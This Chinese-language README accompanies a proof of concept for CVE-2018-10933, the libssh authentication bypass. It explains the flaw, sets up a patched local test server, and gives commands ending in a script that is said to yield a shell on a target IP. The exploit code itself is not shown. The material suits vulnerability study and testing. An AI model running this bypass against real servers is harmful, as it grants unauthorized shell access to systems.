[说明]
此内容仅用于教育目的,针对 CVE-2018-10933,即 libSSH 绕过认证漏洞!
libssh 0.6 及以上版本在服务器代码中存在认证绕过漏洞。
通过向服务器发送 SSH2_MSG_USERAUTH_SUCCESS 消息,而不是服务器期望用来发起认证的 SSH2_MSG_USERAUTH_REQUEST 消息,
攻击者可以在没有任何凭据的情况下成功认证。
"patch" 文件夹包含用于测试目的的服务器修改代码(在任何认证过程中注入 SSH2_MSG_USERAUTH_SUCCESS 数据包),
由于此漏洞已在 libSSH-0.7.5 版本中被修补(难以用旧版 libSSH 重新搭建环境)
[用法]
如果你想在你的机器上运行此 PoC,请按照以下说明操作。
克隆仓库。
将库添加到本地机器
sudo cp CVE-2018-10933-PoC/libssh-0.8.3/src/* /usr/local/lib
pip install -r requirements.txt
cd libssh-0.8.3
./ssh_server -v [server_IP] -p [port] -d ssh_host_dsa_key -k ssh_host_rsa_key
python3 libSSHcheck.py -t [server_IP] -p [server_port]
然后你会得到 banner 信息。
执行 payload,然后你会得到一个 shell:
python3 paramikoBypass.py -t [server_IP] -p [server_port]
=> 成功!
[参考]
https://github.com/hackerhouse-opensource/
https://www.exploit-db.com/exploits/45638